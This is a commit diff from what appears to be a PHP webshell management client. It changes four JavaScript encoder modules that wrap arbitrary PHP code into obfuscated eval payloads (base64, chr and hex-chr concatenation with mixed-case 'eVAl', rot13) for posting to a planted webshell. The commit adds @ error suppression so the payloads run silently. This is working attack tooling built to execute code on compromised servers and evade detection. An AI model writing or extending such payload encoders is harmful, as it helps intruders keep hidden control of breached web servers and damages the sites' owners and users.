Commit a68c74d1 authored by Medicean's avatar Medicean

php shell 默认编码器所使用的函数添加了 @ 防止出现 warning

parent 47a95e1d
...@@ -9,7 +9,7 @@ module.exports = (pwd, data) => { ...@@ -9,7 +9,7 @@ module.exports = (pwd, data) => {
// 生成一个随机变量名 // 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`; let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64'); data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = `eval(base64_decode($_POST[${randomID}]));`; data[pwd] = `@eval(@base64_decode($_POST[${randomID}]));`;
delete data['_']; delete data['_'];
return data; return data;
} }
...@@ -14,7 +14,7 @@ module.exports = (pwd, data) => { ...@@ -14,7 +14,7 @@ module.exports = (pwd, data) => {
ret.push(php[i].charCodeAt()); ret.push(php[i].charCodeAt());
i ++; i ++;
} }
return `eVAl(cHr(${ret.join(').ChR(')}));`; return `@eVAl(cHr(${ret.join(').ChR(')}));`;
} }
// 编码并去除多余数据 // 编码并去除多余数据
......
...@@ -14,7 +14,7 @@ module.exports = (pwd, data) => { ...@@ -14,7 +14,7 @@ module.exports = (pwd, data) => {
ret.push(php[i].charCodeAt().toString(16)); ret.push(php[i].charCodeAt().toString(16));
i ++; i ++;
} }
return `eVAl(cHr(0x${ret.join(').ChR(0x')}));`; return `@eVAl(cHr(0x${ret.join(').ChR(0x')}));`;
} }
// 编码并去除多余数据 // 编码并去除多余数据
......
...@@ -19,7 +19,7 @@ module.exports = (pwd, data) => { ...@@ -19,7 +19,7 @@ module.exports = (pwd, data) => {
// 生成一个随机变量名 // 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`; let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = encode(data['_']); data[randomID] = encode(data['_']);
data[pwd] = `eval(str_rot13($_POST[${randomID}]));`; data[pwd] = `@eval(@str_rot13($_POST[${randomID}]));`;
delete data['_']; delete data['_'];
return data; return data;
} }
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment